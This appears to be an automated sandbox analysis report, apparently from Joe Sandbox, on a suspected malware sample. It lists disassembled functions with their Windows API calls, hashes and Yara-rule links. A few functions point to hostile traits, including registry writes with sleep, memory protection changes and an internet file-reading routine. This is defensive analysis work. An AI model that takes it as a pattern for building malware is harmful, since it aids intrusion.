String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 89836d951bc72d4e20e2faa1a52db581b462940ce5fd44a8dff6846afbaeb460
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: A3212731B01214EBDB329F21DC44ADB7B68AB41765B200133ED15A73D1DA78EE46C6DC

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 0040B984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040B97B,0040AF1F,0040A730), ref: 0040B992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040B9A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040B9B9
SetLastError.KERNEL32(00000000,0040B97B,0040AF1F,0040A730), ref: 0040BA0B

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: c1383cefff0a9c77c0f6256a7d22d0577fd0bc713188e5814d490c4ea7085b9f
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 6D0192727197119EE63427B97CC6A6B2B94EB01778760033BF520752E2EB39480255CC

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 04D1BBEB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04D1BBE2,04D1B186,04D1A997), ref: 04D1BBF9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04D1BC07
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04D1BC20
SetLastError.KERNEL32(00000000,04D1BBE2,04D1B186,04D1A997), ref: 04D1BC72

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 490cb07dfe9f68bf9e02c66ee26e16554e09e3aa753bf95eeac812cee1a72b16
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 0A01D832319211FEA7342BB9BCC5A6B2E55FB0177CB20023BED25A61F1EE6178026194

Function 004015D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004015D5

Part of subcall function 00409842: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0040984E

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 0040160B
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 00401642
Concurrency::cancel_current_task.LIBCPMT ref: 00401757

Strings

string too long, xrefs: 004015D0

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 2123813255-2556327735
Opcode ID: 281a2476be6cc453a5ad27d9da9e1dc32d507c6cc5bf7aa10868f271ceef2746
Instruction ID: 8b29ff92f67febe7d184f40cd986ab90276924f3587203b15f4be4e0e60d2281
Opcode Fuzzy Hash: 281a2476be6cc453a5ad27d9da9e1dc32d507c6cc5bf7aa10868f271ceef2746
Instruction Fuzzy Hash: 5E4127B1A00300ABD720AF759C8575BB7B8EF48354F24063AF91AE73D1E775AD0487A9

Function 004058D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122registrysleepCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

mixone, xrefs: 00406219

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateOpenSleepValue
String ID: mixone
API String ID: 4111408922-3123478411
Opcode ID: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction ID: 36deb0a2def4af7d69c3889f60f670a394a8a5da25757ff3a02b89eea185ed5b
Opcode Fuzzy Hash: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction Fuzzy Hash: F3418571210108AFEB08DF58DC95BEE7B65EF08300F908229F955AB5D1D778E9848F58

Function 00410580 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,92291A76,0040280B,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105B5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004105C7
FreeLibrary.KERNEL32(00000000,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105E9

Strings

mscoree.dll, xrefs: 004105AE
CorExitProcess, xrefs: 004105BF

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction ID: f4dd53f2cc94282f557b0741292325b7031a84366b21a1c3c136dd1e19965a8c
Opcode Fuzzy Hash: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction Fuzzy Hash: F501A271A44625FBDB128F80DC05BEEBBB9FB04B51F004536F811A22A0DBB8A944CB58

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

mscoree.dll, xrefs: 10005FB8
CorExitProcess, xrefs: 10005FCA

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 00415010 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00415095
__alloca_probe_16.LIBCMT ref: 0041515E
__freea.LIBCMT ref: 004151C5

Part of subcall function 00413C79: RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

__freea.LIBCMT ref: 004151D8
__freea.LIBCMT ref: 004151E5

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction ID: def92c4ecd74f4627ee81fabb5ad5435351d3551a42f570b1979e48308b83863
Opcode Fuzzy Hash: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction Fuzzy Hash: 1A51B372A00646FFDB225FA1CC41FFB3AA9EF84754B25002FFD04D6251EA39CD918668

Function 04D12C87 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04D12D2F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04D12D44
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04D12D52
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04D12D6D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04D12D8C

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction ID: 0f76adbb077188df71153009ea25e65a9bbd457eedd8e14f7a7a4c45e65c8241
Opcode Fuzzy Hash: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction Fuzzy Hash: 4B310335B00104BFDB149F58EC40FAAB7A9FF48300F4541E9EE05AB261DB72AD16CB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 0040CA97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx), ref: 0040CAA4
GetLastError.KERNEL32(?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx,00000000,?,0040C836), ref: 0040CAAE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0040CAD6

Strings

api-ms-, xrefs: 0040CABB

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction ID: aef67c255cc06d75e4f2c7ed4f9f6bc06eb467b970858842cb7b754112db4c8a
Opcode Fuzzy Hash: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction Fuzzy Hash: 12E01230380308F6EF105F61ED46B5A3F569B11B54F108131F90DF85E1D7B5A815998C

Function 0041968C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(92291A76,00000000,00000000,00000000), ref: 004196EF

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00419941
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 00419A2A

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction ID: 80e927e20e1d5b3063f5f9ef1e9119d7a86b1541eeacf5ee68ba8f7951c90f01
Opcode Fuzzy Hash: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction Fuzzy Hash: 8CD18DB5E002489FCF15CFA8C8909EEBBB5FF49314F28412AE456EB351D634AD86CB54

Function 04D298F3 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0042C014,00000000,00000000,00000000), ref: 04D29956

Part of subcall function 04D251BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04D25422,?,00000000,-00000008), ref: 04D25220

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 04D29BA8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04D29BEE
GetLastError.KERNEL32 ref: 04D29C91

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction ID: 56d22a9b93d6ad10f1e8b024d20fb3950584ff2cda9d6651bc467ac9500f8485
Opcode Fuzzy Hash: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction Fuzzy Hash: 61D1BDB5E042689FDF14CFA8C9909EDBBF4FF58318F24456AE456EB351D630A941CB20

Function 04D11BA7 Relevance: 6.3, APIs: 4, Instructions: 293networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04D11C3C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04D11C5F

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction ID: 260dde4263ead14417981b52c7cfba8d79550e4a88f79ea14ec7974bf7de0489
Opcode Fuzzy Hash: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction Fuzzy Hash: 24C139B1A00218AFEB25CF54DC84BD9B7B5FF49304F1041D9E909A72A0D771BA94CFA5

Function 0040BA64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040BB2B
___AdjustPointer.LIBCMT ref: 0040BB4E
___AdjustPointer.LIBCMT ref: 0040BBEA

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: c3f9129e04d39096db86ee3dbd798fa579d010b72ca6babdac1055268f0b1971
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: F651A972600306ABEB298F11C881BAA77B4EF40714F14413FE802A76D5E739AC91CBDD

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 04D1BCCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04D1BD92
___AdjustPointer.LIBCMT ref: 04D1BDB5
___AdjustPointer.LIBCMT ref: 04D1BE51

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: 7723936c01f8e571fce888b529973d916696b26603d863f48d39ee99b7425814
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: 8C518171705606BFEB298F54F880BAA77A4FF44714F14452EED864A6B0E731F981C790

Function 04D11837 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 04D1183C

Part of subcall function 04D19AA9: std::invalid_argument::invalid_argument.LIBCONCRT ref: 04D19AB5

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 04D11872
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 04D118A9
Concurrency::cancel_current_task.LIBCPMT ref: 04D119BE

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID:
API String ID: 2123813255-0
Opcode ID: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction ID: 8c95ba85adaab4f2a0415ad367a6d6b55e2f1516e1bf0b14c95d0fe324838ea9
Opcode Fuzzy Hash: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction Fuzzy Hash: 7A41F8F1B00304BBE7149F64AC85B5EB6F8EF49214F100669EE6AD72A0E771B904C7A1

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

